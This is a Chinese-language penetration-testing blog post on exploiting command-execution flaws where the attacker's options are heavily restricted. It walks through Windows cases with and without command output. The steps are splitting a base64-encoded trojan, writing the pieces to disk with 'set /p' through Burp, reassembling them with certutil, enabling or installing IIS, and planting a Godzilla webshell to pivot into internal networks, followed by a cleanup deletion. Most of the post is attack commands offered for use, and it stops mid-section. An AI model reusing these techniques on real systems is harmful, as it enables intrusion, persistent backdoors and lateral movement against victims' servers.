高度受限的命令执行利用思路
最近在家很沮丧,来回面试好几家,大公司有些问题还能问到点子上,小公司问的大部分都是一些奇葩没水平的问题,问1+1=多少让爱因斯坦解答不一样也是2,这种类型的问题搞得我心情不好,有点学不进东西,之前拖欠了太多技术债务也没有解决,打算先从小的问题开始慢慢解决 命令执行辅助脚本编写 之前遇到命令执行比较复杂,苛刻条件越来越多,大部分都不了了放弃利用了。现在有空重新弄一下,我把这些情况分为windows linux,有无回显,是否DNS出网,命令执行位置GET或POST,是否可写shell,权限高低细分下来64种情况,一半都是比较简单就不写了 测试环境搭建 细分这么多情况搭建环境特别麻烦,不过linux环境直接用vulhub项目拉起漏洞复现环境测试,windows我这里直接就用的之前的虚拟机+向日葵漏洞 Windows 有回显总体来说还舒服: 有回显出网 适用于certutil无法直接下载或者杀毒拦截严重的情况,y4er大佬在先知已经写过这个了 powershell -c "'a' | Out-File C:\1.txt -Append" 不过我觉得他的太慢了,文件太大的时候慢的很,看其他人说echo,其实在windows上echo并不好用我自己找了一下替代echo的方案,利用set命令就可以解决echo会追加换行的问题 <nul set /p "=Hello" <nul set /p "=Hello">output.txt 解决这个问题就可以使用多线程并发快速落地文件了,之后就可以切割我们的木马,之后base64编码、url编码解决传输问题,编写完成脚本之后会生成两个copy命令辅助我们在不同Get和post下还原: 脚本切割了51次,生成了comeout.txt,用这个就和用暴力破解的字典一样直接burp导入就好了 勾上url编码 攻击结束: 之后是还原文件: certutil.exe+-f+-decode+c:\test\§output§.txt+c:\test\§test§.bin 之后利用脚本生成的命令还原校验hash,不出一分钟攻击就结束了 清理垃圾: del *.bin *.txt 有回显不出网 这部分主要还是不出网利用思路一样,搭建HTTP的正向webshell就可以继续攻击内网了,可以先写一个一句话木马,之后再上传HTTP正向代理脚本 寻找web目录,可以找个网站特定的js或者图片 dir /s /b C:\web.config 如果不是web服务命令执行,权限高可以直接一条命令开启IIS的web服务器,直接写入默认的IIS目录C:\inetpub\wwwroot,估计还是内网用的多,如果你够疯狂,权限不够去切割exp去提权,熟悉了exp搞起来也不难,就是很麻烦,因为很多提权的exp用起来都是要手动修改的,没有超级大的团队基本上没有这个时间成本: net start W3SVC 写入一句话,老样子base64和url编码,我用的哥斯拉,哥斯拉的马没有空格方便: 解码链接: 可以上线操作了: 默认IIS并没有装上,可以一条命令装上 Install-WindowsFeature -Name Web-Server -IncludeManagementTools 或者 Install-WindowsFeature Web-Server Install-WindowsFeature Web-Default-Doc Install-WindowsFeature Web-Dir-Browsing Install-WindowsFeature Web-Http-Errors Install-WindowsFeature Web-Static-Content Install-WindowsFeature Web-Http-Redirect Install-WindowsFeature Web-Http-Logging Install-WindowsFeature Web-Custom-Logging Install-WindowsFeature Web-Log-Libraries Install-WindowsFeature Web-Request-Monitor Install-WindowsFeature Web-Http-Tracing Install-WindowsFeature Web-Stat-Compression Install-WindowsFeature Web-Filtering Install-WindowsFeature Web-Basic-Auth Install-WindowsFeature Web-Digest-Auth Install-WindowsFeature Web-IP-Security Install-WindowsFeature Web-Url-Auth Install-WindowsFeature Web-Windows-Auth Install-WindowsFeature Web-Net-Ext45 Install-WindowsFeature Web-Asp-Net45 Install-WindowsFeature Web-WebSockets Install-WindowsFeature Web-Mgmt-Console Install-WindowsFeature Web-Scripting-Tools Install-WindowsFeature Web-Mgmt-Service 无回显出网 闭着眼睛拉马子就行,要写webshell也行。http可以cmd验证一下,dns有点麻烦,window没办法直接拼接到域名上,遇到中文路径就行不通,就没写了...